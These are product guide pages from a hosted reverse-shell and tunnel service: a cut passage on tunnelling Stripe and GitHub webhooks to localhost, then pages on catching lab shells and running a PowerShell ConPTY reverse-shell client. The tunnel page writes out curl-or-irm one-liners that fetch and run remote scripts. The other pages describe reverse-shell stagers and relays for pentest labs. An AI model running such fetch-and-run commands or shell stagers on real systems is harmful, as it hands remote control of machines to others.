let a JSON body parser run on the webhook route first. With Express and the official `stripe` package: ``` const express = require("express"); const stripe = require("stripe")(process.env.STRIPE_SECRET_KEY); const app = express(); app.post("/webhook", express.raw({ type: "application/json" }), (req, res) => { let event; try { event = stripe.webhooks.constructEvent( req.body, // raw Buffer, not parsed JSON req.headers["stripe-signature"], process.env.STRIPE_WEBHOOK_SECRET, // whsec_... from step 3 ); } catch (err) { return res.status(400).send(`Bad signature: ${err.message}`); } console.log("got", event.type); res.sendStatus(200); }); app.listen(4242); ``` #### 2. Open a tunnel to port 4242 Create an API key on your [account page](https://revsheller.com/account), then run this in a second terminal. It fetches a small native client for your OS, so there's nothing else to install. ``` (curl -fsSL https://revsheller.com/tn.sh || wget -qO- https://revsheller.com/tn.sh) | RSH_API_KEY=rsh_YOUR_KEY sh -s -- http 4242 ``` On Windows PowerShell: ``` $env:RSH_API_KEY="rsh_YOUR_KEY"; & ([scriptblock]::Create((irm https://revsheller.com/tn.ps1))) http 4242 ``` The client prints your public URL, for example `https://tn-k3v9q2m7xa.revshell.org`. Leave it running. #### 3. Add the endpoint in Stripe In the Stripe Dashboard, switch to test mode and add a webhook endpoint (under Developers, Webhooks). Use your tunnel URL plus the route, for example `https://tn-k3v9q2m7xa.revshell.org/webhook`, and pick the events you handle. Stripe then shows the endpoint's signing secret, which starts with `whsec_`. Put it in `STRIPE_WEBHOOK_SECRET` and restart the handler. #### 4. Send an event Send a test event from the endpoint's page in the Dashboard, or create real test-mode activity, for example with the Stripe CLI's `stripe trigger payment_intent.succeeded`. The tunnel client logs one line per request, and your handler prints the event type. If something fails, the endpoint's delivery log in Stripe shows the status code your server returned. #### Things that trip people up If signature verification fails, the cause is almost always a parsed body (re-serialized JSON never matches the signature) or the signing secret from a different endpoint. Each endpoint, and the Stripe CLI, has its own secret. The tunnel passes the body through unchanged. Browsers opening a tunnel see a one-time warning page, but webhook deliveries don't ask for HTML, so Stripe goes straight to your server. If your handler is slow, return a 2xx quickly and do the slow work afterwards. The tunnel waits up to 100 seconds for your server to start responding, then returns `504`. A tunnel keeps its URL across network reconnects. During the beta it lasts up to 8 hours, and when it expires the client opens a new one with a new URL. Ctrl-C deletes the tunnel. Either way you'll need to update the endpoint in Stripe. Reserved names that stay the same are planned for paid plans after the beta. If your app routes on the Host header, note that the client sends `Host: localhost:4242` to your server by default and puts the public hostname in `X-Forwarded-Host`. Use `--host-header preserve` if your app needs the public host. #### When the Stripe CLI is enough If you only need Stripe events on your own machine, `stripe listen --forward-to localhost:4242/webhook` works without any public URL. A tunnel is the better fit when you want to test a real endpoint configured in the Dashboard, or when other webhook providers or a teammate need to reach your local server. #### GitHub webhooks work the same way In your repository's settings, add a webhook with the tunnel URL plus your route as the payload URL, content type `application/json`, and a secret. GitHub signs each delivery with an HMAC-SHA256 of the raw body and that secret, and sends it in `X-Hub-Signature-256`. Verify it against the raw bytes, exactly as with Stripe. The webhook's Recent Deliveries tab lets you redeliver a payload while you fix your handler. #### Clean up Press Ctrl-C in the tunnel terminal to delete the tunnel, and remove or disable the test endpoint in Stripe so it doesn't keep failing deliveries to a URL that no longer exists. #### FAQ Will Stripe hit the browser warning page? No. The warning page is only shown to browsers loading a page. Webhook deliveries don't ask for HTML, so they go straight to your server. Why does signature verification fail? Usually because the handler verifies a parsed and re-serialized JSON body instead of the raw bytes, or uses the signing secret from a different endpoint. The tunnel passes the request body through unchanged. Does the URL stay the same? While the tunnel is open, yes, including across network reconnects. During the beta a tunnel lasts up to 8 hours. After that, or after Ctrl-C, you get a new URL and must update the endpoint in Stripe. Should I use the Stripe CLI instead? If you only need Stripe events on your machine, `stripe listen --forward-to` works without a public URL. A tunnel helps when you want to test a real Dashboard endpoint, or when other webhook providers or teammates need to reach your machine. See also [sharing a dev server](https://revsheller.com/guides/expose-localhost-share-dev-server), [tunnel basics and limits](https://revsheller.com/guides/localhost-public-url) and the [tunnel docs](https://revsheller.com/api-docs#tunnels). [Get a tunnel URL](https://revsheller.com/register?next=/tunnels) --- # A Hosted Listener for TryHackMe and HackTheBox Labs – RevSheller Source: https://revsheller.com/guides/tryhackme-hackthebox-listener [Guides](https://revsheller.com/guides/) ## A hosted listener for TryHackMe and HackTheBox labs One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Use RevSheller only on CTFs, your own labs, HTB/THM-style practice machines and engagements where you have permission. #### How lab networks are usually set up On HTB and THM you connect your machine to the platform over a VPN, and the lab target talks to an address on that VPN. The standard advice is to listen on your VPN interface. That works, but it ties the listener to your machine and to that VPN session. It's also easy to listen on the wrong interface, or to lose the address when the VPN reconnects. A hosted listener moves where the shell lands. Whether that helps comes down to whether the target can make an outbound HTTPS connection to the internet. #### When the target can reach the internet Some practice environments allow outbound traffic, and so do most home lab VMs. If the target can reach `revsheller.com` on port 443, it's the same as any other session. - Create a session on [revsheller.com](https://revsheller.com/). - Pick a payload. The Auto payload tries Python WebSocket, then curl or wget, then bash, and has a PowerShell stager for Windows. - Run it on the target. The terminal opens in your browser. The listener doesn't depend on your VPN, so if the VPN drops, the shell stays up. Before you plan around this, check from the target that it can actually get out, with a plain HTTPS request to the site. #### When the target can't reach the internet Most dedicated lab machines are isolated. They can reach you over the VPN and nothing else, so they'll never reach a hosted listener, whatever payload you use. That's the situation the bridge agent is for. The bridge runs on your own machine, which has the VPN and a normal internet connection, and listens on a port on your VPN address. The target connects to that port over the lab network with ordinary TCP, and the bridge forwards the connection to your RevSheller session over WSS. `target -- TCP --> bridge on your machine -- WSS --> RevSheller --> your browser` There are native bridge binaries for Linux, macOS and Windows, plus Python and PowerShell versions, so use whichever your machine can run. The [API docs](https://revsheller.com/api-docs) list the commands for each, and the Setup Bridge button in the interface fills them in for your session. Since the target only talks plain TCP to the bridge, a classic `nc` or `/dev/tcp` one-liner works here, even though it can't reach Cloudflare's edge on its own. #### Limits An isolated target needs the bridge, and the bridge needs your machine online for as long as the shell is. You're still running something locally, though a lot less than a full listener setup. The bridge is in beta and is planned as a Pro Plus feature once the free beta ends. Cloudflare doesn't accept inbound raw TCP, so direct one-liners only work through the bridge. Forward shells only reach public hosts. Private IPs, localhost, Cloudflare addresses and port 25 are off limits. Idle sessions end and every session has a lifetime cap, so a session won't work as a persistent implant. And if you just need one throwaway shell from one box, `nc -lvnp` on your VPN address is still simpler. A hosted listener is worth it when you want the browser terminal, a session that outlives your VPN, or no local listener at all. #### Check the rules Platforms and certification exams set their own rules about tooling, and some proctored exams restrict what you can use. Read the rules for your lab or exam before you rely on any service, this one included. #### FAQ Can HackTheBox and TryHackMe targets reach RevSheller directly? Usually not. Most lab machines sit on isolated networks with no route out. Some training environments do allow outbound traffic, so test it from the target first. What if my target cannot reach the internet? Run the bridge agent on your own VPN-connected machine. The target connects to the bridge over the lab network and the bridge relays the connection to RevSheller over WSS. Is this against platform rules? It depends on the platform and the event. Read the rules for the lab or exam you're doing, because some proctored exams restrict tooling. Is it free? Every registered account gets every feature free during the beta. After that the bridge is planned as a Pro Plus feature. Prices are on the [pricing page](https://revsheller.com/pricing), and the [basic setup guide](https://revsheller.com/guides/reverse-shell-listener-without-vps) covers a first session. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/) --- # Windows PowerShell Reverse Shell Listener with ConPTY – RevSheller Source: https://revsheller.com/guides/windows-reverse-shell-listener-powershell [Guides](https://revsheller.com/guides/) ## Catch a Windows PowerShell connection with a ConPTY listener One session is free and works without an account. Create a listener and follow along. [Create a listener](https://revsheller.com/) Authorized use only. Use RevSheller only on CTFs, your own labs, training platforms and engagements where you have permission. #### Why Windows shells are awkward Getting a usable shell back from a Windows lab machine is harder than on Linux. Hook `cmd.exe` or `powershell.exe` up to netcat and what you get is a pipe. Line editing barely works, Ctrl+C can take the whole connection down, and anything that draws to the screen comes out garbled. Plenty of Windows lab boxes don't have Python either, so Python-based clients are out. RevSheller's PowerShell client needs only the PowerShell that's already on the machine. It runs the shell behind a Windows pseudoconsole, which is what makes it feel like a terminal. #### How it works - You create a session on [revsheller.com](https://revsheller.com/) and copy the Windows payload. The API returns it as `payloads.auto_windows`, and it can be encoded with `powershell_b64` for use with `-EncodedCommand` when quoting is awkward. See the [API docs](https://revsheller.com/api-docs). - You run it on the lab machine you're authorized to test. It's a small stager that sets a few environment variables (the session base URL, path and target token) and fetches a bootstrap script from RevSheller. - The bootstrap builds the session's WebSocket URL and downloads the PowerShell client, `rs-powershell-ws.ps1`. The client is plain PowerShell using the .NET `ClientWebSocket` class, so the target doesn't need Python. - The client connects out over WSS on port 443. The session token travels as a WebSocket subprotocol and never appears in the URL. - It starts the first shell it finds out of `powershell.exe`, `pwsh.exe` and `cmd.exe`, runs it behind a ConPTY pseudoconsole and relays everything to your browser terminal. The connection is outbound, over the same port as ordinary HTTPS, so it works from a Windows VM behind NAT without any inbound rules. If the lab machine can't reach the internet at all, run the bridge agent on your VPN-connected machine instead (the [THM and HTB guide](https://revsheller.com/guides/tryhackme-hackthebox-listener) walks through it). #### What a pseudoconsole gets you Inside a pseudoconsole the shell thinks it has a real terminal, so console programs behave the way they would at a local prompt. Prompts, pagers and tools that read single keystrokes work properly. Ctrl+C goes to whatever is running instead of killing your connection, and colours and cursor movement render in the xterm.js terminal in your browser. Resizing works too. When you resize the browser terminal, the client resizes the pseudoconsole to match and wide output stops wrapping in odd places. One trade-off to know about. The client starts PowerShell with `-NoLogo -NoProfile -NoExit` and unloads PSReadLine for the session, because otherwise every keystroke echoes twice when input comes through the pseudoconsole's pipe. So you won't get PSReadLine's syntax colouring or predictive history, and your profile isn't loaded. #### Requirements and fallbacks ConPTY needs Windows 10 version 1809 or later. On anything older the client falls back to pipe-based I/O, which still connects but behaves like the netcat shell described at the top. The target needs PowerShell to run the stager, and outbound HTTPS to revsheller.com. Execution policy, AppLocker, Constrained Language Mode or endpoint protection can stop the stager from running. Those belong to your lab's setup and RevSheller doesn't try to get around them. Normal session limits apply. Idle sessions time out after five minutes on the free tier, and every session has a maximum lifetime. #### Running it for a lab exercise Treat it like any other lab tool. Run it in a VM you control, on a Windows box in a training platform you're enrolled in, or on a host that's explicitly in your scope document. Delete the session when you're done so its token stops working. Shell I/O goes live to your browser and isn't stored. #### FAQ Does the Windows target need Python? No. The stager and the client are plain PowerShell using the .NET ClientWebSocket class. What is ConPTY? It's the Windows pseudoconsole API, added in Windows 10 version 1809. A program can use it to host a console application behind a real terminal, so the shell behaves the way it would at a local prompt. What happens on older Windows? Before 1809 the client falls back to pipe-based I/O. You still get a shell, just without the full terminal behaviour. Can I use it on any machine? Only on systems you own or have explicit permission to test, such as CTF boxes, your own labs and authorized engagements. The [Terms of Service](https://revsheller.com/terms) have the full rules. Ready to try it? One click creates a listener, then you paste one command on a machine you're authorized to test. [Create a listener](https://revsheller.com/)